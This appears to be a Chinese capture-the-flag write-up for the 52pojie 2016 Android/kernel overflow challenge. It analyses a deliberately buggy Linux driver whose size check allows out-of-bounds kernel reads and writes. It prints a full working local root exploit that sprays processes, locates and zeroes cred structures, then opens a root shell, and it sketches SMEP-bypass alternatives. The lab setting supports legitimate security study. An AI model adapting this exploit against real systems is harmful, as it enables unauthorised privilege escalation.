1. 程式人生 > >【第五題】【吾愛破解2016安全挑戰賽】【Android 溢位題】分析

【第五題】【吾愛破解2016安全挑戰賽】【Android 溢位題】分析

0x00 賽題背景及環境:

題目地址

環境要求:
此題目採用 VirtualBox (VMware) + Ubuntu 14.04.4 LTS 32bit桌面版,參賽者須自己搭建,安裝完成後請不要升級核心;

題目描述:
此題提供一份驅動原始碼,參賽者按照INSTALL步驟自己編譯、載入驅動裝置到ubuntu,利用驅動中一個漏洞(利用其它核心漏洞沒分)實現從shell到root的提權;

提交檔案:
1) exp二進位制檔案;
2) exp原始碼;
3) 解題思路;

評分標準:
1) 繞過smep提權100分;
2) 不能繞過smep提權50分;

學習大綱:
1.搭建環境,並復現exp提權
2.分析漏洞,修改exp

0x01 解題大綱

1.編譯安裝驅動

下載的內容
在這裡插入圖片描述
cd到檔案目錄make編譯並安裝驅動

  1. make

  2. sudo insmod mem_driver.ko

  3. sudo chmod 666 /dev/memdev*

    直接make 編譯該驅動,生成mem_driver.ko檔案
    在這裡插入圖片描述

    insmod mem_driver.ko 通過insmod命令用於將mem_driver模組載入到核心中。並使用lsmod檢視是否載入成功。Linux有許多功能是通過模組的方式,在需要時才載入kernel。
    在這裡插入圖片描述

    使用這個https://www.52pojie.cn/thread-485820-1-1.html exp編譯執行:gcc mexp.c -o mexp
    在這裡插入圖片描述

open失敗是因為沒設定/dev/memdev0的初始許可權位。
在這裡插入圖片描述
可以看到exp執行成功了,美滋滋!

0x02漏洞分析

static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
    unsigned long p =  *ppos;
    unsigned int count = size;//
    int ret = 0;
    struct mem_dev *dev = filp->private_data;

    if((dev->size >> 24 & 0xff) != 0x5a)
        return -EFAULT;

    if (p > dev->size)
        return -ENOMEM;

    if (count > dev->size - p)
        count = dev->size - p;

    if (copy_to_user(buf, (void*)(dev->data + p), count)) {
        ret =  -EFAULT;
    } else {
        *ppos += count;
        ret = count;
    }

    return ret;
}

static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{
    unsigned long p =  *ppos;//偏移量
    unsigned int count = size;//使用者態傳入的size
    int ret = 0;
    struct mem_dev *dev = filp->private_data;//獲得裝置結構 {size=0x5a000008,data=8}    

    if((dev->size >> 24 & 0xff) != 0x5a)//一:判斷傳入size的大小以0x5a開頭(前8位)
        return -EFAULT;

    if (p > dev->size)//二:判斷檔案指標是否超過了dev的size
        return -ENOMEM;

    if (count > dev->size - p)//三:判斷使用者初入的count是否超過了dev剩下的大小。也就是說count的值不超過0x5a000008即可通過校驗。
        count = dev->size - p;
    
    if (copy_from_user((void *)(dev->data + p), buf, count)) {//將count大小的資料從使用者態的buf寫入到 dev->data+p的位置
        ret =  -EFAULT;
    } else {
        *ppos += count;
        ret = count;
    }
    //ioctl申請了8位元組的讀寫,實際能寫count位元組的資料。是個任意寫漏洞  (mem_read同理為讀漏洞)
    return ret;
}

static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    struct mem_init data;//在核心態構建data資料
/**
struct mem_init {
    uint32_t idx;
    uint32_t len;
} data = {0, 8};
**/
    if(!arg)
        return -EINVAL;

    if(copy_from_user(&data, (void *)arg, sizeof(data))) {//將使用者態的data傳入到核心
        return -EFAULT;
    }
    
    if(data.len <= 0 || data.len >= 0x1000000)//判斷傳入的data的結構大小
        return -EINVAL;

    if(data.idx < 0)
        return -EINVAL;

    switch(cmd) {
        case 0:
            //idx=0 len=8
            mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);//0x5a000008
            mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);//驅動使用kmalloc申請了len大小的空間
            /**
struct mem_dev  //裝置的size遠遠大於data指向的空間
{
    unsigned long size;//0x5a000008
    char *data;//8
};
            **/
            if(!mem_devp[data.idx].data) {
                return -ENOMEM;
            }
            memset(mem_devp[data.idx].data, 0, data.len);//將data當前位置後面的8個位元組用 0 替換並返回指標
            break;
        default:
            return -EINVAL;
    }

    return 0;
}

static const struct file_operations mem_fops =
{
    .owner = THIS_MODULE,
    .open = mem_open,
    .read = mem_read,
    .write = mem_write,
    .unlocked_ioctl = mem_ioctl,
    .llseek = default_llseek,
    .release = mem_release,
};

0x03 exp編寫

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#define MAX_CHILDREN_PROCESS 1024
struct cred {
    // unsigned long usage;
    uid_t uid;            /* real UID of the task */
    gid_t gid;            /* real GID of the task */
    uid_t suid;           /* saved UID of the task */
    gid_t sgid;           /* saved GID of the task */
    uid_t euid;           /* effective UID of the task */
    gid_t egid;           /* effective GID of the task */
    uid_t fsuid;          /* UID for VFS ops */
    gid_t fsgid;          /* GID for VFS ops */
    // unsigned long securebits;     /* SUID-less security management */
    // kernel_cap_t cap_inheritable; /* caps our children can inherit */
    // kernel_cap_t cap_permitted;  /* caps we're permitted */
    // kernel_cap_t cap_effective;  /* caps we can actually use */
    // kernel_cap_t cap_bset;       /* capability bounding set */
    // unsigned char jit_keyring;
    // void *thread_keyring;
    // void *request_key_auth;
    // void *tgcred;
    // void *security;      /* subjective LSM security */
} my_cred = {0};

struct thread_info {
    struct task_struct  *task;      /* main task structure */
    __u32           flags;      /* low level flags */
    __u32           status;     /* thread synchronous flags */
    __u32           cpu;        /* current CPU */
    mm_segment_t        addr_limit;//addr_limit表示程序可訪問的地址空間
    unsigned int        sig_on_uaccess_error:1;
    unsigned int        uaccess_err:1;  /* uaccess failed */
};

struct mem_init {
    uint32_t idx;
    uint32_t len;
} data = {0, 8};
static pid_t pids[MAX_CHILDREN_PROCESS];
static int children_num;
static void tryRoot()
{
    raise(SIGSTOP);/* 在子程序中使用raise()函式發出SIGSTOP訊號,使子程序暫停 */

     
    if (getuid() == 0) {
        printf("root success!\n");
        system("/bin/sh");
    }
     
    exit(0);
}
static void sprayingChildProcess()
{
    int i;
    int pid;
     
    for (i = 0; i < MAX_CHILDREN_PROCESS; ++i) {
        pid = fork();
        if (pid < 0) {
            break;
        }
        else if (pid == 0) {
            tryRoot();//嘗試root
        }
        else {
            pids[i] = pid;
        }
    }
     
    children_num = i;
}
static void setMyCred() {
    uid_t suid;
    gid_t sgid;
    uid_t euid;
    gid_t egid;
    uid_t ruid;
    gid_t rgid;
    getresuid(&ruid, &euid, &suid);
    getresgid(&rgid, &egid, &sgid);
    my_cred.uid = getuid();
    my_cred.gid = getgid();
    my_cred.suid = suid;
    my_cred.sgid = sgid;
    my_cred.euid = euid;
    my_cred.egid = egid;
    my_cred.fsuid = getuid();
    my_cred.fsgid = getgid();
     
}
//2. 使用`ioctl`使得驅動在核心申請一片空間,接著使用`read`讀出大片核心資料;
static int searchCred(int fd) {
    int ret;
    char buf[4096];
    int p;
    int cred;
    //set當前程序的cerd結構
    setMyCred();
     
    ret = ioctl(fd, 0, &data);
    if (ret != 0) {
        perror("ioctl");
        return 0;
    }
     
    while (1) {
        ret = read(fd, buf, 4096);
        if (ret != 4096) {
            perror("read");
            return 0;
        }
        //3. 在讀出的核心資料中,暴力搜尋,與建立的程序的uid、gid、suid、sgid、euid、egid、fsuid、fsgid進行匹配;
        p = memmem(buf, 4096, &my_cred, sizeof(my_cred));//若my_cred在4096這塊記憶體裡返回首次出現的地址起始的位置的指標
        if (p) {
            printf("we found cred.\n");
            printf("p=%d,(int)buf=%d,offset=%d\n",p,(int) buf, lseek(fd, 0, SEEK_CUR));
            cred = p - (int) buf + lseek(fd, 0, SEEK_CUR) - 4096;//SEEK_CUR 以目前的讀寫位置往後增加offset個位移量。  lseek返回目前的讀寫位置,也就是距離檔案開頭多少個位元組。
            //沒有完全理解這句程式碼的含義,估計是距離fd指標的位置
            return cred;
        }
    }
     
    return 0;
}
//匹配成功後,使用`write`修改其cred結構體,完成root;
static void modifyCred(int fd, int cred)
{
    struct cred new_cred;
     
    lseek(fd, cred, SEEK_SET);//SEEK_SET 將讀寫位置指向檔案頭後再增加cred個數的位移量。
    
    memset(&new_cred, 0, sizeof(new_cred));//將這塊區域內大小的資料全置為0
    write(fd, &new_cred, sizeof(new_cred));
    printf("modify cred over.\n");
}
/**
1. 建立儘可能多的程序,以使得核心空間中充斥大量的cred結構體,增大root成功率;
2. 使用`ioctl`使得驅動在核心申請一片空間,接著使用`read`讀出大片核心資料;
3. 在讀出的核心資料中,暴力搜尋,與建立的程序的uid、gid、suid、sgid、euid、egid、fsuid、fsgid進行匹配;
4. 匹配成功後,使用`write`修改其cred結構體,完成root;
**/
int main()
{
    int fd;
    int cred;
    int i;
    //1. 建立儘可能多的程序,以使得核心空間中充斥大量的cred結構體,增大root成功率;
    sprayingChildProcess();
     
    fd = open("/dev/memdev0", O_RDWR);
    if (fd < 0) {
        perror("open");
        goto out;
    }
     
    cred = searchCred(fd);
    if (cred == 0) {
        goto out;
    }
     
    modifyCred(fd, cred);
     
out:
    if (fd > 0) {
        close(fd);
    }
     
    for (i = 0; i < children_num; ++i) {
        kill(pids[i], SIGCONT);/* 在父程序中收集子程序發出的訊號,並呼叫kill()函式進行相應的操作 */
    }
    while (1) {
        if (wait(NULL) < 0) {
            break;
        }
    }
     
    return 0;
}

0x04 總結:

  • 1.其實主要也就是復現和分析了漏洞的程式碼

    瞭解linux驅動漏,並通過該任意地址讀寫的漏洞修改程序的cred從而進行提權。

  • 2.瞭解linux核心防護措施semp,並嘗試繞過
    semp禁止在核心執行使用者態的程式碼。

  • 3.作者留下的進一步利用程式碼的思路:

這裡還有其他幾種root方案:本文提到的是一種比較粗暴的方法,有一定的失敗機率,比如當噴射的cred全部都位於驅動kmalloc的下面,searchCred就會失敗。
A:另外這種通過直接匹配uid、gid的方式總感覺有些不靠譜,還有個更好的方案是匹配thread_info結構體的comm成員,從而找到cred地址,然後利用slab的freelist將本文記憶體寫漏洞轉變為記憶體任意地址寫漏洞,
最後修改cred結構體資訊即可,具體程式碼留給讀者實現。

B:利用漏洞將找到所有 task_info 的 addr_limit 改掉,找到有許可權的子程序繼續提權。當然這種方法很不穩定。可以通過設定查詢 comm 來精確定位。

C:通過修改tty_struct結構體修改函式的執行流,然後再patch繞過semp。最後直接返回使用者空間然後以ring0的身份呼叫函式commit_creds(prepare_kernel_cred(NULL))就可以設定為root身份。

參考:

http://www.52pojie.cn/thread-485820-1-1.html